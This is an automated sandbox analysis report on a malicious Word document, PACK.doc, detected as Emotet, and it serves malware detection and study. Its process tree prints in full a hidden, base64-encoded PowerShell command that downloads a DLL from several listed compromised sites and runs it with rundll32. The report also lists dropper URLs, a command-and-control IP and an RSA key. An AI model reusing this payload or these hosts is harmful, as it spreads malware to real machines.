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Analysis Report PACK.doc

Overview

General Information

Sample Name:PACK.doc
Analysis ID:336504
MD5:d114fc2644da49f16a6be05bb0db6b08
SHA1:6b5b6a9a5291b1b564ad3005c392ff1756ceef9e
SHA256:d9687c1ca0f341d62cf664cdfe3c9741f1f48df25129df53df9ae81979e89a5d

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2320 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2632 cmdline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkAGUAJwArACcAcwAvACcAKQArACgAJwByACcAKwAnAGwAUgAvAEAAJwArACcAXQBhAG4AdwBbACcAKwAnADMAcwAnACsAJwA6AC8ALwBzAGEAawAnACkAKwAoACcAaAAnACsAJwBpAHMAdQBoACcAKwAnAGEAbgAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGEAcgBpAGoAZQAnACkAKwAoACcAZQB2AGkAawAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AQwB2AEcAJwApACsAKAAnAFUAJwArACcAagB2AEUALwBAAF0AJwArACcAYQBuAHcAWwAzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB6ACcAKwAnAGkAZQBmAGwAaQB4ACcAKQArACgAJwAuACcAKwAnAHQAZQBsAGUAJwArACcAcwBrACcAKwAnAG8AJwArACcAcABzAHQAbwByAGUALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYwAnACsAJwBnAGkAJwArACgAJwAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAEcAJwArACcAdAAzAFMALwBAACcAKQArACcAXQAnACsAJwBhAG4AJwArACgAJwB3AFsAJwArACcAMwAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwBzAG8AbQBhAG4AYQBwAC4AYwBvACcAKwAnAG0ALwB3AHAAJwArACcALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBQAC8AJwApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAF0AYQAnACsAJwBuAHcAJwApACsAJwBbACcAKwAnADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAAbABpAFQAIgAoACQAUQA5ADMASAAgACsAIAAkAEgAYwA2AGMANgB1AHkAIAArACAAJABIADgAOQBaACkAOwAkAEUANwA1AFYAPQAoACgAJwBJACcAKwAnADEANwAnACkAKwAnAFgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGoAawBlADAAbABlACAAaQBuACAAJABHAHIANgB4AF8AaABfACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABvAHcAYABOAGwATwBgAEEAYABEAGYASQBsAGUAIgAoACQAQwBqAGsAZQAwAGwAZQAsACAAJABXADcAaQBvADAAdwBnACkAOwAkAFIANQA1AFMAPQAoACcAQgAnACsAKAAnADYANgAnACsAJwBTACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFcANwBpAG8AMAB3AGcAKQAuACIAbABgAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADQAMwAxADIANgApACAAewAmACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIAJwApACAAJABXADcAaQBvADAAdwBnACwAKAAoACcAQwBvAG4AJwArACcAdAByAG8AJwApACsAKAAnAGwAJwArACcAXwBSAHUAJwApACsAJwBuAEQAJwArACcATABMACcAKQAuACIAdABgAE8AcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQAWgAwADAAUAA9ACgAKAAnAFIAOQAnACsAJwA0ACcAKQArACcASgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAOQAyAEkAPQAoACcAVQA4ACcAKwAnADkAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMQA3AE0APQAoACcASwA3ACcAKwAnADkAVQAnACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2420 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2356 cmdline: POwersheLL -w hidden -ENCOD JAA5ADUAWABVAGMARAAgACAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMAB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAJwBTAFkAUwBUAGUAJwAsACcAQwBUAE8AUgB5ACcALAAnAE0AJwAsACcAUgBFACcALAAnAC4AaQBvAC4AZABJACcAKQAgACAAOwAgACAAcwBFAFQALQBJAHQARQBtACAAIAAoACcAVgAnACsAJwBhAHIAaQBBAEIATABlACcAKwAnADoARgBJAFUAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACIAewAxAH0AewA0AH0AewAwAH0AewA2AH0AewA1AH0AewAzAH0AewAyAH0AIgAgAC0AZgAnAE0ALgBuAEUAVAAuAFMAZQBSACcALAAnAHMAWQBzAHQAJwAsACcAVABNAGEATgBBAEcAZQByACcALAAnAE4AJwAsACcARQAnACwAJwBJACcALAAnAHYASQBjAEUAUABvACcAKQApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwBpACcAKwAoACcAbABlACcAKwAnAG4AJwApACsAKAAnAHQAJwArACcAbAB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBpACcAKwAnAG4AdQBlACcAKQApADsAJABIAGMANgBjADYAdQB5AD0AJABJADcANgBDACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABUADMANgBTADsAJABWADAANgBCAD0AKAAnAEkAMwAnACsAJwA5AEgAJwApADsAIAAgACgAZwBjAEkAIAAoACIAVgBBACIAKwAiAHIAaQBBAEIAIgArACIAbAAiACsAIgBFADoAOQA1ACIAKwAiAFgAdQBDAGQAIgApACAAIAApAC4AVgBhAEwAVQBlADoAOgAiAGMAUgBlAGEAVABgAEUAZABgAEkAUgBgAEUAYABDAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQBDADMAcgBlACcAKwAnADUAYwAzAHsAMAB9ACcAKwAnAEQAaQAnACsAJwBfAHAAJwArACcAMwAnACsAJwBjADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEQAMQA1AEIAPQAoACgAJwBHADIAJwArACcAOAAnACkAKwAnAE8AJwApADsAIAAkAGYAaQB1ADoAOgAiAHMAZQBgAGMAYABVAHIASQBUAFkAcABSAG8AVABPAGAAYwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFIAMwAyAEYAPQAoACcARwAnACsAKAAnADEANgAnACsAJwBaACcAKQApADsAJABDADcAegBpADkAdQB1ACAAPQAgACgAJwBPACcAKwAoACcAXwAnACsAJwA1AFoAJwApACkAOwAkAFcAXwAxAEQAPQAoACcARQAnACsAKAAnADEAOQAnACsAJwBUACcAKQApADsAJABXADcAaQBvADAAdwBnAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACgAJwBDACcAKwAnADMAcgBlADUAJwApACsAJwBjADMAJwArACcAewAnACsAJwAwAH0ARABpAF8AcAAzAGMAJwArACcAOQB7ACcAKwAnADAAfQAnACkALQBGAFsAQwBoAGEAcgBdADkAMgApACsAJABDADcAegBpADkAdQB1ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABIADMANgBBAD0AKAAnAFIAJwArACgAJwA2AF8AJwArACcATwAnACkAKQA7ACQARwByADYAeABfAGgAXwA9ACgAKAAnAF0AYQAnACsAJwBuAHcAWwAzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBwACcAKwAnAGUAdABhAGYAJwApACsAKAAnAGkAbABtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvADQAbQAvAEAAXQAnACkAKwAnAGEAJwArACgAJwBuACcAKwAnAHcAWwAzACcAKwAnADoALwAvAGcAaQAnACsAJwB2AGkAJwApACsAKAAnAG4AZwAnACsAJwB0AGgAYQAnACsAJwBuAGsAcwBkACcAKQArACcAYQBpACcAKwAnAGwAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwBxAGwARQAvAFYAZQBGAC8AJwArACcAQABdAGEAJwArACcAbgAnACkAKwAoACcAdwAnACsAJwBbADMAOgAvAC8AdwAnACkAKwAoACcAYQBwACcAKwAnAC4AJwApACsAJwB6AGgAJwArACgAJwBvAG4AZwAnACsAJwBsACcAKQArACcAaQAnACsAKAAnAHMAYwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AaQBuAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAnACsAJwAvAFEAcgAnACsAJwB5AEMAJwApACsAJwBCAC8AJwArACcAQAAnACsAKAAnAF0AJwArACcAYQBuAHcAJwApACsAKAAnAFsAMwAnACsAJwBzADoALwAnACsAJwAvAGYAJwArACcAbgAnACsAJwBqAGIAcQAuAGMAbwBtAC8AdwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkAGUAJwArACcAcwAvACcAKQArACgAJwByACcAKwAnAGwAUgAvAEAAJwArACcAXQBhAG4AdwBbACcAKwAnADMAcwAnACsAJwA6AC8ALwBzAGEAawAnACkAKwAoACcAaAAnACsAJwBpAHMAdQBoACcAKwAnAGEAbgAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGEAcgBpAGoAZQAnACkAKwAoACcAZQB2AGkAawAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAJwB3ACcAKwAoACcAcAAnACsAJwAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQBzACcAKwAnAC8AQwB2AEcAJwApACsAKAAnAFUAJwArACcAagB2AEUALwBAAF0AJwArACcAYQBuAHcAWwAzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwB6ACcAKwAnAGkAZQBmAGwAaQB4ACcAKQArACgAJwAuACcAKwAnAHQAZQBsAGUAJwArACcAcwBrACcAKwAnAG8AJwArACcAcABzAHQAbwByAGUALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYwAnACsAJwBnAGkAJwArACgAJwAtACcAKwAnAGIAaQBuACcAKQArACgAJwAvAEcAJwArACcAdAAzAFMALwBAACcAKQArACcAXQAnACsAJwBhAG4AJwArACgAJwB3AFsAJwArACcAMwAnACkAKwAnAHMAOgAnACsAKAAnAC8ALwBzAG8AbQBhAG4AYQBwAC4AYwBvACcAKwAnAG0ALwB3AHAAJwArACcALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQBuACcAKwAnAC8AJwApACsAJwBQAC8AJwApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAF0AYQAnACsAJwBuAHcAJwApACsAJwBbACcAKwAnADMAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBzAGQAJwAsACcAcwB3ACcAKQAsACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBgAHAAbABpAFQAIgAoACQAUQA5ADMASAAgACsAIAAkAEgAYwA2AGMANgB1AHkAIAArACAAJABIADgAOQBaACkAOwAkAEUANwA1AFYAPQAoACgAJwBJACcAKwAnADEANwAnACkAKwAnAFgAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGoAawBlADAAbABlACAAaQBuACAAJABHAHIANgB4AF8AaABfACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcAJwArACcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUAbQAuAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBuAHQAKQAuACIAZABvAHcAYABOAGwATwBgAEEAYABEAGYASQBsAGUAIgAoACQAQwBqAGsAZQAwAGwAZQAsACAAJABXADcAaQBvADAAdwBnACkAOwAkAFIANQA1AFMAPQAoACcAQgAnACsAKAAnADYANgAnACsAJwBTACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFcANwBpAG8AMAB3AGcAKQAuACIAbABgAEUAbgBHAGAAVABoACIAIAAtAGcAZQAgADQAMwAxADIANgApACAAewAmACgAJwByAHUAbgAnACsAJwBkACcAKwAnAGwAbAAzADIAJwApACAAJABXADcAaQBvADAAdwBnACwAKAAoACcAQwBvAG4AJwArACcAdAByAG8AJwApACsAKAAnAGwAJwArACcAXwBSAHUAJwApACsAJwBuAEQAJwArACcATABMACcAKQAuACIAdABgAE8AcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQAWgAwADAAUAA9ACgAKAAnAFIAOQAnACsAJwA0ACcAKQArACcASgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAOQAyAEkAPQAoACcAVQA4ACcAKwAnADkAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAMQA3AE0APQAoACcASwA3ACcAKwAnADkAVQAnACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2892 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2912 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 1748 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cgjbbwbf\qqtudgd.huj',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2944 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Nkqiqdbodnub\wtlcjwyiszo.kcs',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2484 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zersybwlygjod\ujnaefcctevs.wag',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 2388 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gocmtvldv\plpbjoam.bfk',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2844 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uyxqa\ucgv.gdq',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 3036 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Nxixsue\ekwnwx.zgx',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 2284 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vgjjq\jcse.fro',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 1776 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kggdchrkalohz\pkgboheoanvf.hox',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 1664 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Jhnbwsyvosmob\uzkhbqpbyyqm.xoq',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                            • rundll32.exe (PID: 2452 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ulduktzjxplnmpb\xnnmpmxkpltkbl.ghw',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                              • rundll32.exe (PID: 2616 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ohslgtw\xeprri.cyh',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                • rundll32.exe (PID: 2644 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Adumhgbkvoz\tdxrpdrtbm.quu',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                  • rundll32.exe (PID: 2904 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Fnniqydokod\xeqkvdqlhe.bce',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                                    • rundll32.exe (PID: 944 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wpjypezem\yvgznbmd.qnx',Control_RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000012.00000002.2114668618.00000000006E0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    00000007.00000002.2099273377.0000000000200000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      0000000B.00000002.2105305860.00000000001E1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        0000000A.00000002.2103683744.00000000001E1000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000011.00000002.2113027910.0000000000231000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 27 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            16.2.rundll32.exe.200000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              7.2.rundll32.exe.200000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                10.2.rundll32.exe.1c0000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  9.2.rundll32.exe.1d0000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    18.2.rundll32.exe.700000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 40 entries

                      Sigma Overview

                      No Sigma rule has matched

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: https://fnjbq.com/wp-includes/rlR/Avira URL Cloud: Label: malware
                      Source: http://wap.zhonglisc.com/wp-includes/QryCB/Avira URL Cloud: Label: malware
                      Source: http://petafilm.com/wp-admin/4m/Avira URL Cloud: Label: malware
                      Source: https://sakhisuhaninarijeevika.com/wp-includes/CvGUjvE/Avira URL Cloud: Label: malware
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: petafilm.comVirustotal: Detection: 6%Perma Link
                      Source: http://petafilm.comVirustotal: Detection: 6%Perma Link
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: PACK.docVirustotal: Detection: 30%Perma Link
                      Source: PACK.docReversingLabs: Detection: 50%
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 21_2_001F75AE CryptDecodeObjectEx,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 21_2_001F109C FindFirstFileW,
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
                      Source: global trafficDNS query: name: petafilm.com
                      Source: global trafficTCP traffic: 192.168.2.22:49167 -> 176.53.69.151:80
                      Source: global trafficTCP traffic: 192.168.2.22:49167 -> 176.53.69.151:80

                      Networking:

                      barindex
                      Potential dropper URLs found in powershell memoryShow sources
                      Source: powershell.exe, 00000005.00000002.2101410000.00000000036D3000.00000004.00000001.sdmpString found in memory: http://petafilm.com/wp-admin/4m/
